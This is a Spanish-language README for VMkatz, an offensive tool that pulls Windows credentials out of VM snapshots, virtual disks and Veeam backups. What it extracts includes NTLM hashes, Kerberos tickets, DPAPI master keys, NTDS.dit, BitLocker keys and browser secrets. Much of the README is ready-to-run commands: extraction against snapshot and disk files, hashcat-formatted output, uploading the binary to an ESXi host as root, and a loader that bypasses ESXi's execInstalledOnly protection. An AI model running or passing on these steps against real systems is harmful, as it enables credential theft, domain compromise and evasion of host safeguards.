
Extraer credenciales de Windows directamente desde instantáneas de memoria de máquinas virtuales y discos virtuales.
Llevas tres semanas en un engagement de red team. Aterrizas en un NAS conectado al clúster de virtualización — cientos de gigabytes de .vmdk, .vmsn, .sav ahí mismo. Pero tu enlace va a 200 KB/s. Exfiltrar un solo disco de 100 GB tomaría seis días.
VMkatz existe porque no deberías tener que exfiltrar lo que puedes leer in situ. Extrae credenciales de Windows directamente desde archivos de VM — snapshots de memoria, discos virtuales, backups de Veeam: hashes NTLM, tickets Kerberos, claves maestras DPAPI, secretos LSA, NTDS.dit, claves BitLocker, secretos de navegador.
Binario estático único, ~3 MB. Déjalo en el host ESXi, el nodo Proxmox o el NAS. Apúntalo a una carpeta de VM y vete con credenciales, no con imágenes de disco.
Los 9 proveedores de credenciales SSP que implementa mimikatz:
| Proveedor | Datos | Notas |
|---|---|---|
| MSV1_0 | Hashes NT/LM, SHA1 | Fallback de escaneo físico para entradas paginadas |
| WDigest | Contraseñas en texto plano | Recorrido de lista enlazada + fallback en .data |
| Kerberos | Claves AES/RC4/DES, tickets (.kirbi/.ccache) | Recorrido de árbol AVL + carving de tickets para sesiones liberadas |
| TsPkg | Contraseñas en texto plano | Solo sesiones RDP |
| DPAPI | Caché de claves maestras (GUID + clave descifrada) | Masterkey SHA1 para descifrado DPAPI offline |
| SSP | Credenciales en texto plano | SspCredentialList en msv1_0.dll |
| LiveSSP | Credenciales en texto plano | Requiere livessp.dll (raro post-Win8) |
| Credman | Credenciales almacenadas | Enumeración de tabla hash + lista simple |
| CloudAP | Tokens de Azure AD | Típicamente vacío para logon solo local |
Además: extracción de BitLocker FVEK desde memoria (escaneo de pool tag para FVEc/Cngb).
$DPAPImk$ — modos 15300/15310/15900/15910)| Formato | Extensiones | Origen | Estado |
|---|---|---|---|
| Snapshots de VMware | .vmsn + .vmem | Workstation, ESXi | Probado |
| Snapshots embebidos de VMware | .vmsn (sin .vmem) | ESXi suspend | Probado |
| Estados guardados de VirtualBox | .sav | VirtualBox | Probado |
| Estados savevm de QEMU/KVM | auto-detectado | Proxmox, QEMU | Probado |
| Core dumps ELF de QEMU/KVM | .elf | virsh dump | Probado |
| Estados guardados de Hyper-V | .vmrs | Hyper-V 2016+ | Probado |
| Backups de Veeam | .vbk, .vib, .vrb | Veeam B&R | Probado |
| Discos virtuales de VMware | .vmdk (sparse + flat) | Workstation, ESXi | Probado |
| Discos virtuales de VirtualBox | .vdi | VirtualBox | Probado |
| Discos virtuales de QEMU/KVM | .qcow2 | QEMU, Proxmox | Probado |
| Discos virtuales de Hyper-V | .vhdx, .vhd | Hyper-V | Probado |
| Dispositivos SCSI raw VMFS-5/6 | /dev/disks/... | ESXi (evita bloqueos de archivo) | Probado |
| Dispositivos de bloque LVM | /dev/... | Proxmox LVM-thin | Probado |
| Hives de registro raw | SAM, SYSTEM, SECURITY | reg save | Probado |
| NTDS.dit raw | ntds.dit + SYSTEM | Controlador de dominio | Probado |
| Minidump de LSASS | .dmp | procdump, Task Manager | Probado |
| Directorios de VM | cualquier carpeta | Auto-descubre todos los archivos | Probado |
SO objetivo: Windows Server 2003 hasta Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Formato | Flag | Descripción |
|---|---|---|
text | --format text (por defecto) | Volcado completo de credenciales con metadatos de sesión |
brief | --format brief | Resumen compacto de una línea por credencial |
ntlm | --format ntlm | Formato pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Hashes raw: modo 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Legible por máquina, todos los campos |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Cuando la protección VIB (execInstalledOnly) está habilitada, usa el loader de Python — no hace falta deshabilitar la configuración:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Consulta docs/esxi.md para detalles del bypass de VIB, acceso a dispositivos raw VMFS y auto-descubrimiento.
VMkatz es modular. Las features se pueden habilitar/deshabilitar en tiempo de compilación:
| Feature | Descripción | Por defecto |
|---|---|---|
vmware | Soporte de snapshots .vmsn/.vmem de VMware | Sí |
vbox | Soporte de estados guardados .sav de VirtualBox | Sí |
qemu | Core dumps ELF de QEMU/KVM + savevm de Proxmox | Sí |
hyperv | Soporte de dumps .vmrs/.bin/.raw de Hyper-V | Sí |
sam | Extracción de disco (SAM/LSA/DCC2) + manejadores de formato de disco | Sí |
ntds.dit | Extracción AD de NTDS.dit. Requiere sam | Sí |
carve | Extracción degradada desde memoria parcial/truncada | Sí |
dump | Volcado de memoria de proceso como minidump | Sí |
vmfs | Parser raw VMFS-5/6 para dispositivos SCSI de ESXi. Requiere sam | Sí |
chrome | Extracción de secretos de navegador (Chromium + Firefox). Requiere sam | No |
veeam | Soporte de backups VBK/VIB/VRB de Veeam. Requiere sam | No |